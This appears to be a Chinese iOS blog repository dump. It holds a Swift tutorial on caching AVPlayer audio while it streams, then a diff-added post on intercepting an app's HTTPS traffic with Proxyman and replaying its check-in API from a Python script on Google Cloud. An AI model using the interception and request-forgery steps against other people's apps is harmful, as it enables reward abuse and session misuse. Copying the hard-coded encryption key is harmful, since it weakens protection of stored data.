這邊的答案是, 我們不處理非連續資料 ;因為敝專案僅為音訊,檔案也就幾 MB (≤ 10MB) 以考量開發成本就沒做了,我只處理合併連續的資料(例如目前已有 0~100,新資料是 75~200,合併之後變0~200;如果新資料是 150~200,我則會忽略不合併處理)

如果要考慮非連續合併,除了在儲存上要使用其他方法(要有辦法辨識空缺部分);在 Request 時也要能 Query 出哪段需要發網路請求去拿、哪段是從本地拿;要考量到這情況實作會非常複雜。

圖片取自: [iOS AVPlayer 视频缓存的设计与实现](http://chuquan.me/2019/12/03/ios-avplayer-support-cache/){:target="_blank"}

圖片取自: iOS AVPlayer 视频缓存的设计与实现

CachingAVURLAsset

AVURLAsset 是 weak 持有 ResourceLoader Delegate,所以這邊建議自己建立一個 AVURLAsset Class 繼承自 AVURLAsset,在內部建立、賦予、持有 ResourceLoader ,讓他跟著 AVURLAsset 的生命週期;另外也可以儲存原始 URL、CacheKey 等資訊…。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+
class CachingAVURLAsset: AVURLAsset {
+    static let customScheme = "cacheable"
+    let originalURL: URL
+    private var _resourceLoader: ResourceLoader?
+    
+    var cacheKey: String {
+        return self.url.lastPathComponent
+    }
+    
+    static func isSchemeSupport(_ url: URL) -> Bool {
+        guard let components = URLComponents(url: url, resolvingAgainstBaseURL: false) else {
+            return false
+        }
+        
+        return ["http", "https"].contains(components.scheme)
+    }
+    
+    override init(url URL: URL, options: [String: Any]? = nil) {
+        self.originalURL = URL
+        
+        guard var components = URLComponents(url: URL, resolvingAgainstBaseURL: false) else {
+            super.init(url: URL, options: options)
+            return
+        }
+        
+        components.scheme = CachingAVURLAsset.customScheme
+        guard let url = components.url else {
+            super.init(url: URL, options: options)
+            return
+        }
+        
+        super.init(url: url, options: options)
+        
+        let resourceLoader = ResourceLoader(asset: self)
+        self.resourceLoader.setDelegate(resourceLoader, queue: resourceLoader.loaderQueue)
+        self._resourceLoader = resourceLoader
+    }
+}
+

使用:

1
+2
+3
+4
+5
+
if CachingAVURLAsset.isSchemeSupport(url) {
+  let asset = CachingAVURLAsset(url: url)
+  let avplayer = AVPlayer(asset)
+  avplayer.play()
+}
+

其中 isSchemeSupport() 是用來判斷 URL 是否支援掛我們的 Resource Loader(排除 file:// )。

originalURL 存放原始資源 URL。

cacheKey 存放這個資源的 Cache Key,這邊直接用檔案名稱當 Cache Key。

cacheKey 請依照現實場景做調整,如果檔案名稱未 hash 可能重複就建議先 hash 後當 key 避免碰撞;如果要 hash 整個 URL 當 key 也要注意 URL 是否會變動 (例如有用 CDN)。

Hash 可使用 md5…sha. .,iOS ≥ 13 可直接使用 Apple 的 CryptoKit ,其他就上 Github 找吧!

ResourceLoaderRequest

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+
import Foundation
+import CoreServices
+
+protocol ResourceLoaderRequestDelegate: AnyObject {
+    func dataRequestDidReceive(_ resourceLoaderRequest: ResourceLoaderRequest, _ data: Data)
+    func dataRequestDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ error: Error?, _ downloadedData: Data)
+    func contentInformationDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ result: Result<AssetDataContentInformation, Error>)
+}
+
+class ResourceLoaderRequest: NSObject, URLSessionDataDelegate {
+    struct RequestRange {
+        var start: Int64
+        var end: RequestRangeEnd
+        
+        enum RequestRangeEnd {
+            case requestTo(Int64)
+            case requestToEnd
+        }
+    }
+    
+    enum RequestType {
+        case contentInformation
+        case dataRequest
+    }
+    
+    struct ResponseUnExpectedError: Error { }
+    
+    private let loaderQueue: DispatchQueue
+    
+    let originalURL: URL
+    let type: RequestType
+    
+    private var session: URLSession?
+    private var dataTask: URLSessionDataTask?
+    private var assetDataManager: AssetDataManager?
+    
+    private(set) var requestRange: RequestRange?
+    private(set) var response: URLResponse?
+    private(set) var downloadedData: Data = Data()
+    
+    private(set) var isCancelled: Bool = false {
+        didSet {
+            if isCancelled {
+                self.dataTask?.cancel()
+                self.session?.invalidateAndCancel()
+            }
+        }
+    }
+    private(set) var isFinished: Bool = false {
+        didSet {
+            if isFinished {
+                self.session?.finishTasksAndInvalidate()
+            }
+        }
+    }
+    
+    weak var delegate: ResourceLoaderRequestDelegate?
+    
+    init(originalURL: URL, type: RequestType, loaderQueue: DispatchQueue, assetDataManager: AssetDataManager?) {
+        self.originalURL = originalURL
+        self.type = type
+        self.loaderQueue = loaderQueue
+        self.assetDataManager = assetDataManager
+        super.init()
+    }
+    
+    func start(requestRange: RequestRange) {
+        guard isCancelled == false, isFinished == false else {
+            return
+        }
+        
+        self.loaderQueue.async { [weak self] in
+            guard let self = self else {
+                return
+            }
+            
+            var request = URLRequest(url: self.originalURL)
+            self.requestRange = requestRange
+            let start = String(requestRange.start)
+            let end: String
+            switch requestRange.end {
+            case .requestTo(let rangeEnd):
+                end = String(rangeEnd)
+            case .requestToEnd:
+                end = ""
+            }
+            
+            let rangeHeader = "bytes=\(start)-\(end)"
+            request.setValue(rangeHeader, forHTTPHeaderField: "Range")
+            
+            let session = URLSession(configuration: .default, delegate: self, delegateQueue: nil)
+            self.session = session
+            let dataTask = session.dataTask(with: request)
+            self.dataTask = dataTask
+            dataTask.resume()
+        }
+    }
+    
+    func cancel() {
+        self.isCancelled = true
+    }
+    
+    func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive data: Data) {
+        guard self.type == .dataRequest else {
+            return
+        }
+        
+        self.loaderQueue.async {
+            self.delegate?.dataRequestDidReceive(self, data)
+            self.downloadedData.append(data)
+        }
+    }
+    
+    func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive response: URLResponse, completionHandler: @escaping (URLSession.ResponseDisposition) -> Void) {
+        self.response = response
+        completionHandler(.allow)
+    }
+    
+    func urlSession(_ session: URLSession, task: URLSessionTask, didCompleteWithError error: Error?) {
+        self.isFinished = true
+        self.loaderQueue.async {
+            if self.type == .contentInformation {
+                guard error == nil,
+                      let response = self.response as? HTTPURLResponse else {
+                    let responseError = error ?? ResponseUnExpectedError()
+                    self.delegate?.contentInformationDidComplete(self, .failure(responseError))
+                    return
+                }
+                
+                let contentInformation = AssetDataContentInformation()
+                
+                if let rangeString = response.allHeaderFields["Content-Range"] as? String,
+                   let bytesString = rangeString.split(separator: "/").map({String($0)}).last,
+                   let bytes = Int64(bytesString) {
+                    contentInformation.contentLength = bytes
+                }
+                
+                if let mimeType = response.mimeType,
+                   let contentType = UTTypeCreatePreferredIdentifierForTag(kUTTagClassMIMEType, mimeType as CFString, nil)?.takeRetainedValue() {
+                    contentInformation.contentType = contentType as String
+                }
+                
+                if let value = response.allHeaderFields["Accept-Ranges"] as? String,
+                   value == "bytes" {
+                    contentInformation.isByteRangeAccessSupported = true
+                } else {
+                    contentInformation.isByteRangeAccessSupported = false
+                }
+                
+                self.assetDataManager?.saveContentInformation(contentInformation)
+                self.delegate?.contentInformationDidComplete(self, .success(contentInformation))
+            } else {
+                if let offset = self.requestRange?.start, self.downloadedData.count > 0 {
+                    self.assetDataManager?.saveDownloadedData(self.downloadedData, offset: Int(offset))
+                }
+                self.delegate?.dataRequestDidComplete(self, error, self.downloadedData)
+            }
+        }
+    }
+}
+

針對 Remote Request 的封裝,主要是服務 ResourceLoader 發起的資料請求。

RequestType :用來區分此 Request 是 第一次請求檔案資訊(contentInformation)、還是請求資料(dataRequest)

RequestRange :請求 Range 範圍,end 可指定到哪(requestTo(Int64) )或全部(requestToEnd)。

檔案資訊可由:

1
+
urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive response: URLResponse, completionHandler: @escaping (URLSession.ResponseDisposition) -> Void)
+

中取得 Response Header,另外要注意如果要改 HEAD 去摸,不會進這個要用其他方法接。

  • isByteRangeAccessSupported :看 Response Header 中的 Accept-Ranges == bytes
  • contentType :播放器要的檔案類型資訊,格式是統一類識別符,不是 audio/mpeg ,而是寫作 public.mp3
  • contentLength :看 Response Header 中的 Content-Range :bytes 0–1/ 資源總長度

⚠️這邊要注意伺服器給的格式大小寫,不一定是寫作 Accept-Ranges/Content-Range;有的伺服器的格式是小寫 accept-ranges、Accept-ranges…

補充:如果要考量大小寫可以寫 HTTPURLResponse Extension

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+
import CoreServices
+
+extension HTTPURLResponse {
+    func parseContentLengthFromContentRange() -> Int64? {
+        let contentRangeKeys: [String] = [
+            "Content-Range",
+            "content-range",
+            "Content-range",
+            "content-Range"
+        ]
+        
+        var rangeString: String?
+        for key in contentRangeKeys {
+            if let value = self.allHeaderFields[key] as? String {
+                rangeString = value
+                break
+            }
+        }
+        
+        guard let rangeString = rangeString,
+              let contentLengthString = rangeString.split(separator: "/").map({String($0)}).last,
+              let contentLength = Int64(contentLengthString) else {
+            return nil
+        }
+        
+        return contentLength
+    }
+    
+    func parseAcceptRanges() -> Bool? {
+        let contentRangeKeys: [String] = [
+            "Accept-Ranges",
+            "accept-ranges",
+            "Accept-ranges",
+            "accept-Ranges"
+        ]
+        
+        var rangeString: String?
+        for key in contentRangeKeys {
+            if let value = self.allHeaderFields[key] as? String {
+                rangeString = value
+                break
+            }
+        }
+        
+        guard let rangeString = rangeString else {
+            return nil
+        }
+        
+        return rangeString == "bytes" || rangeString == "Bytes"
+    }
+    
+    func mimeTypeUTI() -> String? {
+        guard let mimeType = self.mimeType,
+           let contentType = UTTypeCreatePreferredIdentifierForTag(kUTTagClassMIMEType, mimeType as CFString, nil)?.takeRetainedValue() else {
+            return nil
+        }
+        
+        return contentType as String
+    }
+}
+

使用:

  • contentLength = response.parseContentLengthFromContentRange( )
  • isByteRangeAccessSupported = response.parseAcceptRanges( )
  • contentType = response.mimeTypeUTI( )
1
+
urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive data: Data)
+

同前導知識所述,會實時取得已下載的資料,所以這個方法會一直進,片段片段的拿到 Data;我們將他 append 進 downloadedData 存放。

1
+
urlSession(_ session: URLSession, task: URLSessionTask, didCompleteWithError error: Error?)
+

任務取消或結束時都會進這個方法,在這將已下載的資料保存下來。

如前導知識中提到的 Cancel 機制,因播放器在拿到足夠資料後就會發起 Cancel,Cancel Request;所以進到這個方法時實際會是 error = NSURLErrorCancelled ,因此不管 error 我們有拿到資料都會嘗試存下來。

⚠️ 因 URLSession 會用並行方式出去請求資料,所以請保持操作都在DispatchQueue裡,避免資料錯亂(資料錯亂一樣會出現可怕的播放鬼畜)。

️️⚠️URLSession 沒有呼叫 finishTasksAndInvalidateinvalidateAndCancel 兩個方法都會強持有物件導致 Memory Leak;所以不管是取消或是完成我們都要呼叫,這樣才能在任務結束釋放 Request。

️️⚠️️️️️️️️️️️如果怕 downloadedData OOM,可以在 didReceive Data 中就存入本地。

ResourceLoader

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+
import AVFoundation
+import Foundation
+
+class ResourceLoader: NSObject {
+    
+    let loaderQueue = DispatchQueue(label: "li.zhgchg.resourceLoader.queue")
+    
+    private var requests: [AVAssetResourceLoadingRequest: ResourceLoaderRequest] = [:]
+    private let cacheKey: String
+    private let originalURL: URL
+    
+    init(asset: CachingAVURLAsset) {
+        self.cacheKey = asset.cacheKey
+        self.originalURL = asset.originalURL
+        super.init()
+    }
+
+    deinit {
+        self.requests.forEach { (request) in
+            request.value.cancel()
+        }
+    }
+}
+
+extension ResourceLoader: AVAssetResourceLoaderDelegate {
+    func resourceLoader(_ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest: AVAssetResourceLoadingRequest) -> Bool {
+        
+        let type = ResourceLoader.resourceLoaderRequestType(loadingRequest)
+        let assetDataManager = PINCacheAssetDataManager(cacheKey: self.cacheKey)
+
+        if let assetData = assetDataManager.retrieveAssetData() {
+            if type == .contentInformation {
+                loadingRequest.contentInformationRequest?.contentLength = assetData.contentInformation.contentLength
+                loadingRequest.contentInformationRequest?.contentType = assetData.contentInformation.contentType
+                loadingRequest.contentInformationRequest?.isByteRangeAccessSupported = assetData.contentInformation.isByteRangeAccessSupported
+                loadingRequest.finishLoading()
+                return true
+            } else {
+                let range = ResourceLoader.resourceLoaderRequestRange(type, loadingRequest)
+                if assetData.mediaData.count > 0 {
+                    let end: Int64
+                    switch range.end {
+                    case .requestTo(let rangeEnd):
+                        end = rangeEnd
+                    case .requestToEnd:
+                        end = assetData.contentInformation.contentLength
+                    }
+                    
+                    if assetData.mediaData.count >= end {
+                        let subData = assetData.mediaData.subdata(in: Int(range.start)..<Int(end))
+                        loadingRequest.dataRequest?.respond(with: subData)
+                        loadingRequest.finishLoading()
+                       return true
+                    } else if range.start <= assetData.mediaData.count {
+                        // has cache data...but not enough
+                        let subEnd = (assetData.mediaData.count > end) ? Int((end)) : (assetData.mediaData.count)
+                        let subData = assetData.mediaData.subdata(in: Int(range.start)..<subEnd)
+                        loadingRequest.dataRequest?.respond(with: subData)
+                    }
+                }
+            }
+        }
+        
+        let range = ResourceLoader.resourceLoaderRequestRange(type, loadingRequest)
+        let resourceLoaderRequest = ResourceLoaderRequest(originalURL: self.originalURL, type: type, loaderQueue: self.loaderQueue, assetDataManager: assetDataManager)
+        resourceLoaderRequest.delegate = self
+        self.requests[loadingRequest]?.cancel()
+        self.requests[loadingRequest] = resourceLoaderRequest
+        resourceLoaderRequest.start(requestRange: range)
+        
+        return true
+    }
+    
+    func resourceLoader(_ resourceLoader: AVAssetResourceLoader, didCancel loadingRequest: AVAssetResourceLoadingRequest) {
+        guard let resourceLoaderRequest = self.requests[loadingRequest] else {
+            return
+        }
+        
+        resourceLoaderRequest.cancel()
+        requests.removeValue(forKey: loadingRequest)
+    }
+}
+
+extension ResourceLoader: ResourceLoaderRequestDelegate {
+    func contentInformationDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ result: Result<AssetDataContentInformation, Error>) {
+        guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else {
+            return
+        }
+        
+        switch result {
+        case .success(let contentInformation):
+            loadingRequest.contentInformationRequest?.contentType = contentInformation.contentType
+            loadingRequest.contentInformationRequest?.contentLength = contentInformation.contentLength
+            loadingRequest.contentInformationRequest?.isByteRangeAccessSupported = contentInformation.isByteRangeAccessSupported
+            loadingRequest.finishLoading()
+        case .failure(let error):
+            loadingRequest.finishLoading(with: error)
+        }
+    }
+    
+    func dataRequestDidReceive(_ resourceLoaderRequest: ResourceLoaderRequest, _ data: Data) {
+        guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else {
+            return
+        }
+        
+        loadingRequest.dataRequest?.respond(with: data)
+    }
+    
+    func dataRequestDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ error: Error?, _ downloadedData: Data) {
+        guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else {
+            return
+        }
+        
+        loadingRequest.finishLoading(with: error)
+        requests.removeValue(forKey: loadingRequest)
+    }
+}
+
+extension ResourceLoader {
+    static func resourceLoaderRequestType(_ loadingRequest: AVAssetResourceLoadingRequest) -> ResourceLoaderRequest.RequestType {
+        if let _ = loadingRequest.contentInformationRequest {
+            return .contentInformation
+        } else {
+            return .dataRequest
+        }
+    }
+    
+    static func resourceLoaderRequestRange(_ type: ResourceLoaderRequest.RequestType, _ loadingRequest: AVAssetResourceLoadingRequest) -> ResourceLoaderRequest.RequestRange {
+        if type == .contentInformation {
+            return ResourceLoaderRequest.RequestRange(start: 0, end: .requestTo(1))
+        } else {
+            if loadingRequest.dataRequest?.requestsAllDataToEndOfResource == true {
+                let lowerBound = loadingRequest.dataRequest?.currentOffset ?? 0
+                return ResourceLoaderRequest.RequestRange(start: lowerBound, end: .requestToEnd)
+            } else {
+                let lowerBound = loadingRequest.dataRequest?.currentOffset ?? 0
+                let length = Int64(loadingRequest.dataRequest?.requestedLength ?? 1)
+                let upperBound = lowerBound + length
+                return ResourceLoaderRequest.RequestRange(start: lowerBound, end: .requestTo(upperBound))
+            }
+        }
+    }
+}
+

loadingRequest.contentInformationRequest != nil 則代表是第一次請求,播放器要求先給檔案資訊。

請求檔案資訊時我們需要賦予這三項資訊:

  • loadingRequest.contentInformationRequest?.isByteRangeAccessSupported :是否支援 Range 拿 Data
  • loadingRequest.contentInformationRequest?.contentType :統一類識別符
  • loadingRequest.contentInformationRequest?.contentLength :檔案總長度 Int64

loadingRequest.dataRequest?.requestedOffset 可取得要求 Range 的起始 offset。

loadingRequest.dataRequest?.requestedLength 可取得要求 Range 的長度。

loadingRequest.dataRequest?.requestsAllDataToEndOfResource == true 則不管要求 Range 的長度,直接拿到底。

loadingRequest.dataRequest?.respond(with: Data) 返回已載入的 Data 給播放器。

loadingRequest.dataRequest?.currentOffset 可取得當前 data offset, dataRequest?.respond(with: Data)currentOffset 會跟著推移。

loadingRequest.finishLoading() 資料都載完了,告知播放器。

1
+
resourceLoader(_ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest: AVAssetResourceLoadingRequest) -> Bool
+

播放器請求資料,我們先看本地 Cache 有無資料,有則返回;若只有部分資料則一樣返回部分,例如我本地有 0–100 ,播放器要求 0–200,則先返回 0–100。

若沒有本地 Cache、返回的資料不夠,則會發起 ResourceLoaderRequest 請求從網路拿資料。

1
+
resourceLoader(_ resourceLoader: AVAssetResourceLoader, didCancel loadingRequest: AVAssetResourceLoadingRequest)
+

播放器取消請求,取消 ResourceLoaderRequest。

你可能有發現 resourceLoaderRequestRange 的 offset 是看 currentOffset ,因為我們會先從本地 dataRequest?.respond(with: Data) 已下載 Data;所以直接看推移後的 offset 即可。

1
+
private var requests: [AVAssetResourceLoadingRequest: ResourceLoaderRequest] = [:]
+

⚠️ requests 有的範例是只用 currentRequest: ResourceLoaderRequest 來存放,這會有個問題,因為可能當前的 request 正在拿取,使用者又 seek 這時會取消舊的發起新的;但因不一定會照順序發生,可能先走發新請求再走取消;所以用 Dictionary 去存取操作還是比較安全!

⚠️讓所有操作都在同個 DispatchQueue 防止出現資料鬼畜。

deinit 時取消所有還在請求的 requests Resource Loader Deinit 即代表 AVURLAsset Deinit,代表播放器已經不需要這個資源了;所以我們可以 Cancel 還在取資料的 Request,已經載的一樣會寫入 Cache。

補充及鳴謝

感謝 Lex 汤 大大指點。

感謝 外孫女 提供開發上的意見及支持。

本篇只針對音樂小檔

影片大檔案可能會在 downloadedData、AssetData/PINCacheAssetDataManager 發生 Out Of Memory 問題。

同前述,如果要解決這個問題請使用 fileHandler seek read/wirte 去操作本地 Cache 讀取寫入(取代AssetData/PINCacheAssetDataManager);或找看看 Github 有沒有大 data write/read to file 的專案可用。

AVQueuePlayer 切換播放項目時取消正在下載的項目

同前導知識中所述,在更換播放目標時是不會發起 Cancel 的;如果是 AVPlayer 會走 AVURLAsset Deinit 所以下載也會中斷;但 AVQueuePlayer 不會,因為都還在 Queue 裡,只是播放目標換到下一首而已。

這邊唯一做法就只能接收變換播放目標通知,然後在收到通知後取消上一手的 AVURLAsset loading。

1
+
asset.cancelLoading()
+

音訊資料加解密

音訊加解密可在 ResourceLoaderRequest 中拿到 Data 進行、還有儲存時能在 AssetData 的 encode/decode 對存在本地的 Data進行加解密。

CryptoKit SHA 使用範本:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+
class AssetData: NSObject, NSCoding {
+    static let encryptionKeyString = "encryptionKeyExzhgchgli"
+    ...
+    func encode(with coder: NSCoder) {
+        coder.encode(self.contentInformation, forKey: #keyPath(AssetData.contentInformation))
+        
+        if #available(iOS 13.0, *),
+           let encryptionData = try? ChaChaPoly.seal(self.mediaData, using: AssetData.encryptionKey).combined {
+            coder.encode(encryptionData, forKey: #keyPath(AssetData.mediaData))
+        } else {
+          //
+        }
+    }
+    
+    required init?(coder: NSCoder) {
+        super.init()
+        ...
+        if let mediaData = coder.decodeObject(forKey: #keyPath(AssetData.mediaData)) as? Data {
+            if #available(iOS 13.0, *),
+               let sealedBox = try? ChaChaPoly.SealedBox(combined: mediaData),
+               let decryptedData = try? ChaChaPoly.open(sealedBox, using: AssetData.encryptionKey) {
+                self.mediaData = decryptedData
+            } else {
+              //
+            }
+        } else {
+            //
+        }
+    }
+}
+

PINCache 相關操作

PINCache 包含 PINMemoryCache 和 PINDiskCache,PINCache 會幫我們處理從檔案讀到 Memory 或從 Memory 寫入檔案的事,我們只需要對 PINCache 進行操作。

在模擬器中查找 Cache 檔案位置:

使用 NSHomeDirectory() 取得模擬器檔案路徑

Finder -> 前往 -> 貼上路徑

在 Library -> Caches -> com.pinterest.PINDiskCache.ResourceLoader 就是我們建的 Resource Loader Cache 目錄。

PINCache(name: “ResourceLoader”) 其中的 name 就是目錄名稱。

也可以指定 rootPath ,目錄就可以改到 Documents 底下(不怕被系統清掉)。

設定 PINCache 最大上限:

1
+2
+
 PINCacheAssetDataManager.Cache.diskCache.byteCount = 300 * 1024 * 1024 // max: 300mb
+ PINCacheAssetDataManager.Cache.diskCache.byteLimit = 90 * 60 * 60 * 24 // 90 days
+

系統預設上限

系統預設上限

設 0 的話就不會主動刪除檔案。

後記

原先太小看這個功能的困難度,以為三兩下就能處理好;結果吃盡苦頭,大概又多花了兩週處理資料儲存的問題,不過也就此徹底了解整個 Resource Loader 運作機制、 GCD 、Data。

參考資料

最後附上研究如何實作的參考資料

  1. iOS AVPlayer 视频缓存的设计与实现 僅講原理
  2. 基于AVPlayer实现音视频播放和缓存,支持视频画面的同步输出 [ SZAVPlayer ] 有附程式(很完整,但很複雜)
  3. CachingPlayerItem (簡易實現,較好懂但不完整)
  4. 可能是目前最好的 AVPlayer 音视频缓存方案 AVAssetResourceLoaderDelegate
  5. 仿抖音 Swift 版 [ Github ](蠻有意思的專案,復刻抖音 APP;裡面也有用到 Resource Loader)
  6. iOS HLS Cache 實踐方法探究之旅

延伸

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

AVPlayer 邊播邊 Cache 實戰

iOS 跨平台帳號密碼整合加強登入體驗

diff --git a/posts/70a1409b149a/index.html b/posts/70a1409b149a/index.html new file mode 100644 index 000000000..d90dc4414 --- /dev/null +++ b/posts/70a1409b149a/index.html @@ -0,0 +1,209 @@ + 使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事 | ZhgChgLi
Home 使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事
Post
Cancel

使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事

使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事

以簽到獎勵 APP 為例,打造每日自動簽到腳本

Photo by [Paweł Czerwiński](https://unsplash.com/@pawel_czerwinski?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Paweł Czerwiński

起源

一直以來都有使用 Python 做小工具的習慣;有做正經的,工作上自動爬數據、產報表,也有不正經的,排程自動查想要的資訊或是交給腳本完成本來要手動執行的動作。

一直以來「自動」這件事,我都很粗暴直接開一台電腦掛著 Python 腳本讓他掛著跑;優點是簡單方便,缺點是要有台設備接著網路接著電;就算是樹莓派也是要消耗著微量的電費網路錢,還有也不能遠端控制啟動或關閉(其實可以,但很麻煩);這次趁著工作空擋,研究了一下免費&上雲端的方法。

目標

將 Python 腳本搬到雲端執行、定時自動執行、可透過網路開啟/關閉。

本篇以我耍的小聰明,針對簽到獎勵型 APP 撰寫的自動完成簽到的腳本為例,能每日自動幫我簽到,我不用在特別打開 APP 使用;並在執行完成後發通知給我。

完成通知!

完成通知!

本篇章節順序

  1. 使用 Proxyman 進行 Man in the middle attack API 嗅探
  2. 撰寫 Python 腳本,偽造 APP API 請求(模擬簽到動作)
  3. 將 Python 腳本搬到 Google Cloud 上
  4. 在 Google Cloud 設定自動排程
  • 因涉及到敏感領域本篇不會告知是哪個簽到獎勵型 APP,大家可以延伸自行使用
  • 如果只想了解 Python 怎麼串自動執行可跳過前半段 Man in the middle attack API 嗅探部分,從第 3 章看起

使用到的工具

  • Proxyman :Man in the middle attack API 嗅探
  • Python :撰寫腳本
  • Linebot :發送腳本執行結果通知給自己
  • Google Cloud Function :Python 腳本寄存服務
  • Google Cloud Scheduler :自動排程服務

1.使用 Proxyman 進行 Man in the middle attack API 嗅探

之前有發過一篇「 APP有用HTTPS傳輸,但資料還是被偷了。 」的文章,道理類似,不過這次改用 Proxyman 取代 mitmproxy;同樣免費,但更好用。

  • 到官網 https://proxyman.io/ 下載 Proxyman 工具
  • 下載完後啟動 Proxyman,安裝 Root 憑證(為了做 Man in the middle attack 解包 https 流量內容)

「Certificate 」->「 Install Certificate On this Mac」->「Installed & Trusted」

電腦的 Root 憑證裝好後換手機的:

「Certificate 」->「 Install Certificate On iOS」->「Physical Devices…」

依照指示在手機上掛好 Proxy 並完成憑證安裝及啟用。

  • 在手機上打開想要嗅探 API 傳輸內容的 APP

這時候 Mac 上的 Proxyman 就會出現嗅探到的流量,點擊裝置 IP 下想要查看的 APP API 網域;第一次查看需要先點「Enable only this domain」之後的流量才能被解包出來。

「Enable only this domain」後就能看到新攔截的流量就會出現原始的 Request、Response 資訊:

我們使用此方法嗅探 APP 上操作簽到時打了哪隻 API EndPoint 及帶了哪些資料,將這些資訊記錄下來,等下使用 Python 直接模擬請求。

⚠️要注意有的 APP token 資訊可能會換,導致日後 Python 模擬請求失效,還要多了解 APP token 交換的方式。

⚠️如果確定 Proxyman 有正常運作,但在掛 Proxyman 的情況下 APP 無法發出請求,代表 APP 可能有做 SSL Pining;目前無解,只能放棄。

⚠️APP 開發者想知道怎麼防範嗅探可參考 之前的文章

這邊假設我們得到的資訊如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
POST /usercenter HTTP/1.1
+Host: zhgchg.li
+Content-Type: application/x-www-form-urlencoded
+Cookie: PHPSESSID=dafd27784f94904dd586d4ca19d8ae62
+Connection: keep-alive
+Accept: */*
+User-Agent: (iPhone12,3;iOS 14.5)
+Content-Length: 1076
+Accept-Language: zh-tw
+Accept-Encoding: gzip, deflate, br
+AuthToken: 12345
+

2. 撰寫 Python 腳本,偽造 APP API 請求(模擬簽到動作)

在撰寫 Python 腳本之前,我們可先使用 Postman 調試一下參數,觀察看看哪個參數是必要的或是有時效會改變;但要直接照搬也可以。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
import requests
+import json
+
+def main(args):
+    results = {}
+    try:
+      data = { "action" : "checkIn" }
+      headers = { "Cookie" : "PHPSESSID=dafd27784f94904dd586d4ca19d8ae62", 
+      "AuthToken" : "12345",
+      "User-Agent" : "(iPhone12,3;iOS 14.5)"
+      }
+      
+      request = requests.post('https://zhgchg.li/usercenter', data = data, headers = headers)
+      result = json.loads(request.content)
+      if result['status_code'] == 200:
+        return "CheckIn Success!"
+      else:
+        return result['message']
+    except Exception as e:
+      return str(e)
+

⚠️ main(args) 這邊的 args 用途後面會講,如果要在本地測試直接帶 main(True) 就好。

使用 Requests 套件幫我們執行 HTTP Request,如果出現:

1
+
ImportError: No module named requests
+

請先使用 pip install requests 安裝套件。

加上執行結果 Linebot 通知:

這部分我做的很簡單,僅共參考,僅通知自己。

  • 選擇「Create a Messaging API channel」

下一步填好基本訊息後按「Create」送出建立。

  • 建立好之後在第一個「Basic settings」Tab 下面找到「Your user ID」區塊,這就是你的 User ID

  • 建立好之後,選擇「Messaging API」Tab,掃描 QRCode 將機器人加入好友。

  • 繼續往下滾找到「Channel access token」區塊,點擊「Issue」產生 token。

